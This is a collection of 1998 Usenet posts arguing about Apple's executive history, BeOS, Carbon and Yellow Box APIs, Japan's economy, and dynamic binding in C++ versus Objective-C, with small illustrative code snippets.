> but he has taken there margins from ~15 % to 24 % and the stock is doing
> well, very well
> >
> > There's an interesting pattern here, if you're willing to examine it (which
> > I doubt):
> >
> > Markkukla (the principle stockholder ) was followed by Jobs (hand-picked by
> >
> > Markkula, the principle stockholder) was followed by Sculley (hand-picked
> > by
> > Markkula, the principle stockholder)
UH, I think you are wrong here. Jobs met Scully in New York, at some function
or another, and was impressed with him. He subsequently asked Scully if he
wanted to ".....continue selling sugared water, or do you want to change the
world?" It was Jobs who hired Scully because he realized that Apple needed
real, adult management with experience.
was followed by Spindler (hand-picked
> > by
> > Markkula, the principle stockholder) was followed by Amelio (hand-picked by
> > Markkula, the principle stockholder)
Actually, Amelio "hired" himself.
was followed by Jobs (hand-picked by
> > Markkula, the principle stockholder).
No. Jobs came on-board to assist in the merger of Apple/NeXT. Amelio
asked him to stay on as adviser. Jobs then pulled a board-room coup,
after they canned Amelio, and fired the entire board (except for two)
including Markkula.
> After Gil left, Markula relinguished his majority stake in Apple. He is
> no longer in control.
He was ASKED by jobs to step down. He didn't voluntarily relenquish
anything.
>
> BTW, If I wanted to shake anbody's hand. It would have to be that old
> dude from Dupont on the Apple board. He is the man that saved Apple. ;-)
That guy is good, but its mostly Jobs who has "saved" Apple. I put SAVED
in quotes because I'm beginning to believe that everything Jobs has done
is short-term, and that long-term, Apple hasn't a prayer.
George Graves
From: pxpst2@spam.suxs.unixs.cis.pitt.edu (Peter)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Profits up, revenues continue to slide
Date: Fri, 17 Jul 1998 14:20:19 -0500
Organization: University of Pittsburgh
Message-ID: <pxpst2-1707981420190001@pelli.pathology.pitt.edu>
References: <6oj739$aqu$1@lwnws01.ne.highway1.com> <rmcassid-1507981623500001@dante.eng.uci.edu> <6ojtmb$otj$2@lwnws01.ne.highway1.com> <rmcassid-1607980934480001@dante.eng.uci.edu> <6olevn$pgd$2@lwnws01.ne.highway1.com> <id_est-1607982337110001@192.168.1.3> <rmcassid-1707980950260001@dante.eng.uci.edu>
Mail-Copies-To: pxpst2@spam.suxs.unixs.cis.pitt.edu
In article <rmcassid-1707980950260001@dante.eng.uci.edu>, rmcassid@uci.edu
(Robert Cassidy) wrote:
> In article <id_est-1607982337110001@192.168.1.3>, id_est@interport.net
> (tse_di) wrote:
>
> >Given the current state of the Japanese economy I don't know that one
> >should take those lessons that seriously.
>
> The two are totally unrelated. Japan's problem now is that they have no
> ability to stimulate their public to spend money when the economy slows
> down. When the Japanese people see problems in their economy, they save
> more (and not in banks, but at the post office, no less) which further
> slows the economy, which causes them to save even more, and so on.
>
> The American public's irresponsibility with money is one of our economy's
> greatest strengths.
>
Bob that is not correct.
Japan's problems arrise from the fact that during the 80s they loaned out
money and used land as collateral. The problem lies in the fact that when
the loans were made the Land was overly inflated. For example in 1982 the
land that the imperial Palace is on was worth more than all of Manhatten.
well the bubble burst in the late 80s and now the bad loans have been
pushed under the carpet., The loans are rumored to be no less than 0.5
trillion dollars and not more than 2 trillion dollars. The Japaneese
government must force the banks to acknoledge these loans and some sort of
RTC must be set up to either retire or sell off the bad loans. IF THIS IS
NOT DONE THEN THE WHOLE WORLD ECONOMY WILL EVENTUALLY FEEL GREAT PAIN
Peter
--
"Don't you eat that yellow snow
watch out where the Huskies go" FZ
---------------------------------------------------------------------
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: Fri, 17 Jul 1998 11:14:37 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1707981114370001@sf-pm5-10-74.dialup.slip.net>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <6og79u$pg8$1@vixen.cso.uiuc.edu> <35ABA71F.64A649B5@ericsson.com> <joe.ragosta-1407981638020001@wil37.dol.net> <35ABD8E4.7E40F57F@ericsson.com> <gmgraves-1507981200570001@sf-usr1-30-158.dialup.slip.net> <6oj5a0$goe$1@hole.sdsu.edu> <gmgraves-1607981304560001@sf-pm5-16-80.dialup.slip.net> <slrn6qt7kl.7n9.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
In article <slrn6qt7kl.7n9.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>,
mbkennel <replace this with '@'> yahoo.com wrote:
> On Thu, 16 Jul 1998 13:04:56 -0700, George Graves <gmgraves@slip.net> wrote:
> : He is also responsible for one of the biggest
> :engineering blunders in Apple's history: The Aquarius Project. In the
> :late '80's Gassee convinced Scully that Apple should be designing
> :and making THEIR OWN RISC PROCESSORS. Gassee knew nothing about
> :semiconductors, less about microprocessors, and Scully knew less
> :than he did about either (Pepsi salesman). Anyone with an ounce of
> :engineering acumen knows that designing a microprocessor is THE
> :most difficult of all semiconductor engineering projects. Gassee
> :didn't and convinced Scully to let him piss away hundreds of millions
> :of dollars trying.
>
> Gassee was an idiot, and Sculley was an incompetent for not realizing
> he is an idiot and firing him.
What a champion of the obvious you are. That's my point here!
George Graves
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: Fri, 17 Jul 1998 11:12:53 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1707981112530001@sf-pm5-10-74.dialup.slip.net>
References: <19980716135346246924@slip-32-100-222-17.wa.us.ibm.net> <B1D3D746-223D1@206.165.43.46> <macghod-1607982227270001@sdn-ar-001casbarp053.dialsprint.net>
In article <macghod-1607982227270001@sdn-ar-001casbarp053.dialsprint.net>,
macghod@concentric.net (Steve Sullivan) wrote:
> In article <B1D3D746-223D1@206.165.43.46>, "Lawson English"
> <english@primenet.com> wrote:
>
> > Shawn M. <shawnm@snd.net> said:
> >
> > >
> > >Gassee was NEVER the CEO of Apple. If you want to blame someone for
> > >Apple's former mistakes and "almost demise", try taking a look at John
> > >Scully and the person who was CEO immediately after him [name escapes
> > >me
> > >at the moment] as two of the people who really ran the company into the
> > >ground.
> > >
> >
> > Gee...
> >
> > Sculley got Jobs ousted because he was acting like a nutcase and no bank in
> > America would give Apple a loan as long as "that nutcase" [rumored direct
> > quote] was still in control of Apple.
> >
> > Sculley, the person who ran Apple into the ground, took it from being a $1
> > billion/year company to a $12 billion per year.
> >
> > SPindler was an interesting case. He obviously had severe physical and
> > mental problems when he took charge.
>
> Since I was just a youngin when Spindler was ceo, I have no idea what you
> are talking about. COuld you please explain these physical and mental
> problems he had, and examples of this? This is the first I have EVER
> heard about this
Well, for starters, he is an incredible hypochondriac, who used to walk around
Apple with a heart monitor strapped to his chest. Secondly stress cripppled
him. There is more than one story about Spindler hiding UNDER HIS DESK, when
things got too hot for him.
George Graves
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: Fri, 17 Jul 1998 11:17:14 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1707981117140001@sf-pm5-10-74.dialup.slip.net>
References: <6oj5a0$goe$1@hole.sdsu.edu> <B1D27F61-1F256@206.165.43.178> <6ojoum$tvm$1@nnrp1.dejanews.com> <6okstp$mkm@nntp02.primenet.com> <gmgraves-1607981316130001@sf-pm5-16-80.dialup.slip.net> <35AE858A.2576@betabreakers.com> <gmgraves-1607982149230001@sf-pm5-7-71.dialup.slip.net> <6omnn1$o03$1@news2.ispnews.com>
In article <6omnn1$o03$1@news2.ispnews.com>, Earl Malmrose
<malmrose@nospam.jetcity.com> wrote:
> gmgraves@slip.net (George Graves) :
> > Care to tell
> > me the names of any REAL, useful software on Be?
>
> Here are some REAL, useful pieces that I use regularly:
> Code Warrior
> NetPositive
> BeInformed
> GobeProductive
>
Code Warrior is a development package.
I've looked at GoBeProductive. Pretty lame if you ask me.
I haven't seen the other two.
George Graves
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: Fri, 17 Jul 1998 11:22:30 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1707981122300001@sf-pm5-10-74.dialup.slip.net>
References: <6oj5a0$goe$1@hole.sdsu.edu> <B1D27F61-1F256@206.165.43.178> <6ojoum$tvm$1@nnrp1.dejanews.com> <6okstp$mkm@nntp02.primenet.com> <gmgraves-1607981316130001@sf-pm5-16-80.dialup.slip.net> <35AE858A.2576@betabreakers.com> <gmgraves-1607982149230001@sf-pm5-7-71.dialup.slip.net> <35aed9f5.59069898@news.euronet.be>
In article <35aed9f5.59069898@news.euronet.be>,
drooling.idiot.nospam@euronet.be wrote:
> gmgraves@slip.net (George Graves) wrote:
>
> >You don't get it. Sun, HP, and SGI DO have support from major players.
> >They aren't necessariliy the SAME major players that are in the office
> >computer market, but they are major players nonetheless. Care to tell
> >me the names of any REAL, useful software on Be?
> >
>
> Here;s a novel idea, if you don't like BeOS and have some sort of
> problem with it don't use it. I don't see anybody forcing you to.
Here's another novel idea: get a clue. We were talking about the efficacy
of alternative OSes to the mainstream ones. I was pointing out Be's
deficiencies in that context. An OS without software is as useful as a
car without gas. No matter how good it is, what features it has, they
won't do you any good if you can't (A) get work done with it, and (B)
share that work with other computers. In case you haven't noticed, Be
still falls short in both of these arenas. Maybe someday though.......
George Graves
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: Fri, 17 Jul 1998 11:24:45 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1707981124460001@sf-pm5-10-74.dialup.slip.net>
References: <6oj5a0$goe$1@hole.sdsu.edu> <B1D27F61-1F256@206.165.43.178> <6ojoum$tvm$1@nnrp1.dejanews.com> <6okstp$mkm@nntp02.primenet.com> <gmgraves-1607981316130001@sf-pm5-16-80.dialup.slip.net> <35AE858A.2576@betabreakers.com> <stevehix-1607982030060001@ip30.safemail.com> <Pine.BOS.3.96.980717065604.278E-100000@fbnp>
In article <Pine.BOS.3.96.980717065604.278E-100000@fbnp>, Tyler Riti
<fizzboy@mail.utexas.edu> wrote:
> On Thu, 16 Jul 1998, Steve Hix wrote:
>
> >> > No, a GUI has failed when it has no MAJOR applications. Be still has no
> >> > support from the major players.
> >
> >> So Sun, SGi and HP have all "failed" cause they dont have suport from MS
> >> or other people that rigth the crap we all have to use at our office?
> >
> >Sun and HP *are* "major players".
>
> Be has support from Intel. Is that major enough for you?
Intel writes applications? Gee, I didn't know that!
L-E-A-R-N T-O R-E-A-D
George Graves
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Static typing and dynamic binding
Date: Fri, 17 Jul 1998 18:30:54 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6oo58t$i14$1@nnrp1.dejanews.com>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <billa-2206981913080001@archbald-96.slip.uiuc.edu> <6moqam$4os$1@nnrp1.dejanews.com> <359011E4.C8A51B95@cisco.com> <6n08oi$rrs$1@nnrp1.dejanews.com> <6mvtgs$hnm$3@ns3.vrx.net> <6n0mol$sh2$1@flotsam.uits.indiana.edu> <6n0ap7$r0e$1@ns3.vrx.net> <6n141n$tvf$1@flotsam.uits.indiana.edu> <6n11ie$du4$1@ns3.vrx.net> <6n1pko$v47$1@flotsam.uits.indiana.edu> <3594FE42.F137BD6B@nstar.net> <6n7no4$p6j$2@ns3.vrx.net> <3598248E.28605285@nstar.net> <6nabot$r2h$4@ns3.vrx.net> <3599148B.1B14@exu.ericsson.se> <6nakg1$r2h$15@ns3.vrx.net> <6o2e5p$q2u$1@news.cs.tu-berlin.de> <1dbwpln.1hul373c7z78eN@dialup207-3-17.swipnet.se> <6o32eu$ljg1@odie.mcleod.net> <6ogmq6$5dp$1@nnrp1.dejanews.com> <1dc804m.mwatig1uf62gwN@rhrz-isdn3-p14.rhrz.uni-bonn.de> <6okg1v$puc$3@leonie.object-factory.com> <1dc9g6m.1vb5kt51h8o4hmN@dialup184-3-49.swipnet.se> <6omdu6$i1q3@odie.mcleod.net> <1dcb1pl.1tr6gkr15kt7l2N@dialup203-2-33.swipnet.se>
In article <1dcb1pl.1tr6gkr15kt7l2N@dialup203-2-33.swipnet.se>,
lars.farm@ite.mh.se (Lars Farm) wrote:
> Your most frequent complaint seems to land in strong/weak typing. That
> is, classes with similarly named methods, but otherwise unrelated
> are/are not interchangeable in the two languages. OTOH you call this
> binding which is something quite different to me. Do you find "class" a
> limiting concept? Coupling behaviour to class is bad? It's not clear to
> me where your complaint really is. Please explain.
OK, I'll try this one... C++ has very strong typing rules for objects. That
means that dynamic binding is not necessary in a single machine model
(because you know the type already). But it is often inconvenient to know the
types of objects. The key to object oriented programming (in my mind and that
of several authors) is that you don't have to be concerned with anything
regarding an object except what it will do for you i.e. what will happen when
you call a method. C++ forces you to think about more than this; it forces
you to think about type.
> It appears that you don't want static typing either. That is, type
> compatibility checked at runtime is somehow preferable to compile time
> checks? Perhaps because of some interaction with strong/weak typing?
> Please explain.
But why should I care about the type of an object at any time? All I care
about is that it implements a particular method or set or methods. In C++, I
would have to know the objects type to figure out what methods it implements.
> How about direct-to-som compilers for those three? Still flexible. Use
> your favourite language.
I've never used direct-to-SOM but there would have to be changes in your code
to support this because you wouldn't know if an object implemented a
particular method until runtime and C++ doesn't have a mechanism to deal with
calling a method that doesn't exist.
> Hmm, I have no problem using general purpose collection clases in C++.
> They are different from those in dynamic languages, but quite general
> and usefull.
Can I make a collection class called TList that can be used like this:
TList a;
a.Add( new TDog );
a.Add( new TCar );
a.Add( new THouse );
where none of these objects has a common ancestor? Why not? Doesn't this seem
like a useful thing to have?
> > shared libraries that can change independent of the applications compiled
> > against them,
> > and reduction of the fragile base class problem.
>
> ?
In C++, once you change the base class, you must relink all of the subclasses
because the vTable may have changed.
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From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 17 Jul 1998 19:09:49 GMT
Organization: P & L Systems
Message-ID: <6oo7ht$4h1$3@ironhorse.plsys.co.uk>
References: <kindall-0907981808510001@nic-c41-094.mw.mediaone.net> <B1CBCDD4-5A95A@206.165.43.175>
<kindall-1007981802390001@nic-c41-094.mw.mediaone.net> <6od7o1$6al$1@ironhorse.plsys.co.uk>
<forrestDELETE-THIS!-1307981254120001@term3-28.vta.west.net>
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Cc: forrestDELETE-THIS!@west.net
In <forrestDELETE-THIS!-1307981254120001@term3-28.vta.west.net> Forrest
Cameranesi wrote:
> In article <6od7o1$6al$1@ironhorse.plsys.co.uk>, mmalcolm crawford
> <malcolm@plsys.co.uk> wrote:
> > Jerry Kindall wrote:
> > > You'll be able to run all the same software, since there will be Carbon
> > > libraries for Mac OS; you just won't have pre-emptive multitasking and
> > > full memory protection.
> > >
> > Umm, I think you're mixing up the functionalities of Carbon and the
BlueBox
> > -- you may well be able to run all the same software, but this will be
> > courtesy of the BlueBox: if, courtesy of your friendly developer, you get
a
> > Carbon version of your app, it will run with PMT and full MP.
>
> Actually, Malcolm, one of the major key points of Carbon was that - since
> it's just a subset of the current Mac Toolbox, with a few added functions
> - it will run on earlier MacOS' as well, just without all the modern
> buzzwords.
>
Urgh, sorry, I wrote a confused answer to a point that Jerry didn't really
make. My only excuse is that I had a long weekend in New Haven after MWNY, a
tiring flight back Sunday night, got home Monday morning, showered, and then
had a full day at the office...
To unpack what I think I was trying to say (and noting that I think my
context was that I'd started thinking about MacOS X -- silly as the context
here was a system that cannot run MacOS X)...
Jerry wrote:
> You'll be able to run all the same software, since there will be Carbon
> libraries for Mac OS
>
If the software you're wanting to run was compiled with traditional MacOS
APIs, then you could run this on *MacOS X* using (the by then transparent)
BlueBox -- but this is irrelevant to the original context.
Obviously it will continue to run normally on MacOS 8.x. In both cases it
runs without the benefit of PMT, MP etc. (except insofar as BlueBox runs as a
single task, so "benefits" from PMT, MP etc. as a whole).
If your s/w was ported by your friendly developer to Carbon, then you could
run this natively on MacOS X, and benefit from PMT, MP etc. -- but again
irrelevant to the original context.
On MacOS 8.5+, as Forrest rightly points out, you'd be able to run the app
using the Carbon libraries, but on 8.5+ it won't benefit from PMT, MP etc.
One hopefully interesting point that this raises is the issue of binary
compatibility between Carbon apps on MacOS 8.x and MacOS X. I'd guess that
the app would have to be compiled seperately for each OS, so transferring
from one to another might not be entirely transparent, however maybe there
will be some magic...?
Best wishes,
mmalc.
From: sheppard.gordon@relaynet.org (SHEPPARD GORDON)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Apple heading to obscurity?
Date: Fri, 17 Jul 98 15:06:00 -0400
Organization: RelayNet, Brooklyn, NY (718) 692-2498
Distribution: World
Message-ID: <8F3238A.09B600115A.uuout@relaynet.org>
References: <6onmii$njn$1@server.signat.org>
On 07/17/98, MAURY MARKOWITZ wrote to George Graves:
> Restore some of the lost credibility
MM> Sure, I agree, but when people are going around making wild comments,
MM> like
MM> that Jobs' plan is to sell Apple, that's harder than it should be. We
MM> both
MM> know you have absolutely no evidence whatsoever to back your opinion that
MM> Jobs is planning to sell Apple off. That's FUD in it's worst form.
I agree that wild speculation is wrong, but I _do_ remember reading that one
of the first things that the newly installed Board of Directors agreed to do,
as per Jobs's request, was to vote to remove Apple's "poison pill" provisions
in its charter and bylaws.
Since these provisions make it difficult and expensive for a suitor to make an
acquisition of a company through outright putrchase of shares, one may
reasonably wonder whether Jobs was prepping Apple for a sale.
Salut!
---
* TIMM 1.3
Date: Fri, 17 Jul 1998 12:22:01 -0700
From: stevehix@safemail.com (Steve Hix)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Message-ID: <stevehix-1707981222010001@ip29.safemail.com>
References: <19980716135346246924@slip-32-100-222-17.wa.us.ibm.net> <B1D3D746-223D1@206.165.43.46> <pxpst2-1607982149350001@pelli.pathology.pitt.edu> <rmcassid-1707980920060001@dante.eng.uci.edu> <pxpst2-1707981412350001@pelli.pathology.pitt.edu>
Organization: Close to None
In article <pxpst2-1707981412350001@pelli.pathology.pitt.edu>,
pxpst2@spam.suxs.unixs.cis.pitt.edu wrote:
> In article <rmcassid-1707980920060001@dante.eng.uci.edu>, rmcassid@uci.edu
> (Robert Cassidy) wrote:
> > Wollard really *is* the guy that saved Apple, but he couldn't have done it
> > without Jobs. Gil had done all he could do, and there are few men out
> > there who have the combination of good and bad that makes Steve as
> > effective as he is here.
> Bob, you are quite correct and I completly agree with your analysis. So
> many peaple on the USENET know nothing about how companies are run and how
> they change. And Wollard, the Dupont warrior, is the man that none of the
> Appleheads even know about.
Oh, some of us were paying attention...
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 17 Jul 1998 18:05:59 GMT
Organization: P & L Systems
Message-ID: <6oo3q7$4h1$2@ironhorse.plsys.co.uk>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <MPG.10109df7848fcd95989975@news.supernews.com>
<6okme4$10j$1@ironhorse.plsys.co.uk> <MPG.1017c256f4f19f59899a4@news.supernews.com>
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Cc: don.brown@cesoft.com
In <MPG.1017c256f4f19f59899a4@news.supernews.com> Donald Brown wrote:
> In article <6okme4$10j$1@ironhorse.plsys.co.uk>, malcolm@plsys.co.uk
> says...
> > In <MPG.10109df7848fcd95989975@news.supernews.com> Donald Brown wrote:
> > > If you are starting a product now, the best API is Carbon.
> > >
> > I'd modify that to: if you are starting a project now which is to have
> > mass-market appeal and which will ship within the next 12 months, then go
> > with Carbon. If you can be more tightly focussed (e.g. if you have a
mission
> > critical app and you're able to specify the h/w and OS the client will
use),
> > or you're looking at longer timescales, then go with Yellow.
>
> I'll agree with half of your modification. If it is a mission critical
> app, Yellow can work. I'm not sure how longer of a timescale is
> involved. All 68k machines will forever be left out in the cold, all
> Nubus PPC machines will forever be left out in the cold, and we've been
> told we can't count on any non-G3 machines avoiding being forever left
> out in the cold. It's going to take a long time for all of those
> machines to no longer be a market force.
>
OK, I think we're moving toward consensus :-)
Yes, I'm considering only products which will be aimed at people with
up-to-date hardware; judging by Apple's ongoing resurgence, it seems to me
that that's a fairly healthy marketplace. If you're aiming for broader
coverage, then again Carbon will probably be the way to go (however --
serious question -- does MacOS 8.5 run on '040-based systems? If not you'll
be back to MacOS APIs...)
> > > If and when YellowBox for MacOS7.x/8.x
> > >
> > I don't think Yellow was ever promised for 7.x, and it looks like Apple
> > decided that 8.x just isn't up to the task of hosting YB, so it's easier
to
> > migrate to MacOS X instead.
>
[In light of a message posted elsewhere, maybe I'd better rephrase this... I
suspect that MacOS could be made to run YB (cf the fact that it runs on
Windows 95, not renowned for its technical superiority), but the effort
required to get the two to work is together is far more than producing MacOS
X, which is a much better solution.]
> > Umm, you can already see what a YB Windows app looks like -- it's a
shipping
> > product in the form of OPENSTEP Enterprise. We have a number of
customers
> > using it very successfully right now. Commercial viability will be
changed
> > for the better when Apple alters the licensing structure -- it's set to
come
> > below $20/seat, which is an order of magnitude lower than it is at
present.
>
> Where can I get a demo of it? I want to see if the UI is Windows-like,
> and how much disk space/RAM it uses.
>
You can already *buy* the product (it's been on sale for a couple of years)
as OPENSTEP/Enterprise.
OPENSTEP/YB applications running on Windows look just like any other Windows
application. The runtime takes about 8MB RAM (IIRC, corrections welcome),
and is installed pretty much like any other set of Windows DLLs. At 8MB you
could argue that the runtime does impose a significant hit, and I'd probably
concede that if you're running just one app. Since this is a shared library,
however, and since YB applications tend to have very modest resource
requirements (because they depend heavily on the shared libraries), once you
start using 2 or more YB apps the comparative overall "hit" is much reduced.
> Although, without the YellowBox for Mac, it's from curiosity only. If
> OpenStep is a development environment for Windows and a small percentage
> of Mac users, it won't make sense for my business.
>
Well, that depends on what sort of Windows development you do... I'd suggest
reading Lionel Costa's excellent article:
The Yellow Trojan Horse
http://www.stepwise.com/Articles/Technical/TrojanHorse.html
Apologies for the mangled Latin in there, by the way, that was my fault: it
should be "Quidquid id est, timeo MacOS et dona ferens", thanks to
David-Artur Daix for pointing this out -- I just noticed it was never
corrected.
Best wishes,
mmalc.
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: Fri, 17 Jul 1998 09:20:06 -0700
Organization: UC Irvine, School of Engineering
Message-ID: <rmcassid-1707980920060001@dante.eng.uci.edu>
References: <19980716135346246924@slip-32-100-222-17.wa.us.ibm.net> <B1D3D746-223D1@206.165.43.46> <pxpst2-1607982149350001@pelli.pathology.pitt.edu>
In article <pxpst2-1607982149350001@pelli.pathology.pitt.edu>,
pxpst2@spam.suxs.unixs.cis.pitt.edu wrote:
>After Gil left, Markula relinguished his majority stake in Apple. He is
>no longer in control.
Well, you make it seem so coincidental. It seems pretty clear that
Markkula left with a gun pointed at his head with Jobs and Woolard itching
the trigger. I suspect that had Markkula not resigned, it would have been
taken to the shareholders and the result been the same, but _very_ bloody
and bad for Apple. Markkula helped found this company (he showed up with
the money) and IMO did far more than any other individual to screw it up.
Sculley got the ball rolling but was soon in over his head - he never
organized Apple like a Fortune 500 company and too much control rested in
his hands which he abused. Only recently has the necessary changes begun
to happen - not only due to Steves arrival, but the changing of the board
and the other execs (Anderson, most notably). I doubt that it would have
happened if Steve stayed in power way back when, btw. He needed a few more
lessons along the way, and some _really_ good board members don't hurt.
These boys know how a company should be run (certainly Anderson and
Woolard do) and should be given the proper credit.
Spindler was an insider and a bad choice. I don't think he could see Apple
as a 'real' company either, but at least he had more of a clue of where
Apple should go technically. Not willing to axe all of his friends,
though.
Amelio was a good choice. He knew how to run a company and started to make
the necessary changes. Always seemed a little wishy-washy to me, though.
Looked like a dufus in public events, and didn't make the _really_ hard
decisions, but he did get things started. His most important contribution
was to get Apple under control and make it seem that Apple had a chance,
if the right conditions came about.
Jobs was the _perfect_ guy to come along. Willing to clean house honestly
(some might call it brutally) and with more than enough credibility and
history to be listened to. Gil was a guy who knew little about what Apple
was doing and had an air about him that if you just dug in your heels,
he'd buckle under. Jobs isn't like that. You _know_ you won't win on
stubborness alone. You _know_ he understands this stuff enough to at least
spin it favorably on the rest of the world. And you _know_ he has capable
men around him that he trusts to do the right thing - credit to Anderson,
Avie, Jon, and so on.
Wollard really *is* the guy that saved Apple, but he couldn't have done it
without Jobs. Gil had done all he could do, and there are few men out
there who have the combination of good and bad that makes Steve as
effective as he is here.
-Bob Cassidy
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Static typing and dynamic binding
Date: 17 Jul 1998 19:56:38 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6ooa9m$egj$1@news.spacelab.net>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <billa-2206981913080001@archbald-96.slip.uiuc.edu> <6moqam$4os$1@nnrp1.dejanews.com> <359011E4.C8A51B95@cisco.com> <6n08oi$rrs$1@nnrp1.dejanews.com> <6mvtgs$hnm$3@ns3.vrx.net> <6n0mol$sh2$1@flotsam.uits.indiana.edu> <6n0ap7$r0e$1@ns3.vrx.net> <6n141n$tvf$1@flotsam.uits.indiana.edu> <6n11ie$du4$1@ns3.vrx.net> <6n1pko$v47$1@flotsam.uits.indiana.edu> <3594FE42.F137BD6B@nstar.net> <6n7no4$p6j$2@ns3.vrx.net> <3598248E.28605285@nstar.net> <6nabot$r2h$4@ns3.vrx.net> <3599148B.1B14@exu.ericsson.se> <6nakg1$r2h$15@ns3.vrx.net> <6o2e5p$q2u$1@news.cs.tu-berlin.de> <1dbwpln.1hul373c7z78eN@dialup207-3-17.swipnet.se> <6o32eu$ljg1@odie.mcleod.net> <6ogmq6$5dp$1@nnrp1.dejanews.com> <1dc804m.mwatig1uf62gwN@rhrz-isdn3-p14.rhrz.uni-bonn.de> <6okg1v$puc$3@leonie.object-factory.com> <1dc9g6m.1vb5kt51h8o4hmN@dialup184-3-49.swipnet.se> <tim-1607981112260001@jump-k56flex-1168.jumpnet.com> <1dc9x8b.zd5oce1hpc3c9N@dialup184-3-49.swipnet.se>
lars.farm@ite.mh.se (Lars Farm) wrote:
[ ... ]
>I am not confused, but perhaps unable to explain clearly. I am not
>talking about overloading which is, as you say, an entirely compiletime
>decision. The assumption is that the mechanisms for dynamic binding are
>fundamentally different. They are not. Dynamic binding in C++ and ST/OC
>is the same.
No, they are not. Try adding a set of new methods to a C++ class at runtime.
Try invoking a method on a object where you don't know either the method name
nor the actual class of the object until runtime.
> There are other differences - strong/weak typing,
>static/dynamic typing - but the dynamic binding is quite similar. Let me
>try again:
>
> struct Base { virtual void f() = 0; };
> struct Derived : Base { virtual void f() { /*...*/ } };
> struct Other : Base { virtual void f() { /*...*/ } };
> ...
> void bar( Base& b ) { b.f(); }
> ...
> Derived d;
> Other o;
> bar( d );
> bar( o );
>
>When and how is the decision made to call Derived::f or Other::f ?
In Obj-C and ST, Derived and Other don't have to be subclasses of Base; they
just have to implement f.
[ ... ]
>The point is that this mechanism (the optimization - v-table) is not
>required by the language as has been claimed. The externally observable
>behaviour (correct function called) is required.
>> C++
>> Compile time:
>[...]
>> - virtual functions are assigned a fixed slot index in the vtable
>
>Well, this is a common implementation, but not a language requirement.
>For the time being, let's call this slot number a "selector".
Let's not, because a selector in Obj-C does not have that fixed association
with a slot index in a specific class that C++ method in vtables do.
[ ... ]
>(1) Dynamic binding: Seems very similar to me. The C++ search could be
>done exactly like that using "selectors".
Well, it's not.
>(2) Type compatibility: ... one difference is that a C++ "selector" must
>contain more information than the ST/OC selector. Information about
>which class it belongs to and types for arguments. This information must
>also be used. This has to do with a language requirement that behaviour
>is associated with class and only compatible functions from that class
>or classes derived from that class are allowed to be executed.
If you choose to perform strong typing in Obj-C, you are completely free to
do so and the compiler can enforce strong argument type safety.
What C++ does not let you do is the key aspect of dynamic binding, which is
invoking methods when it is not known at compilation time that the
"compatible functions", argument types, etc are.
> Just as you say but they are distinct, important and orthogonal concepts.
> This is strong or weak typing.
>
>(3) Time for type compatibility test: ... another difference is that
>static languages require that the type compatibility test is done at
>compile time. Dynamic languages perform the test at runtime. This is
>static or dynamic typing.
Dynamic languages can perform strong typing at compile time.
The decision on whether to do so is up to the developer.
-Chuck
Charles Swiger | chuck@codefab.com | standard disclaimer
---------------+-------------------+--------------------
"Microsoft: we make the easy almost impossible."
Message-ID: <35AFAEFF.2FBD@betabreakers.com>
Date: Fri, 17 Jul 1998 13:07:27 -0700
From: Josiah Fizer <jfizer@betabreakers.com>
Organization: Beta Breakers
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
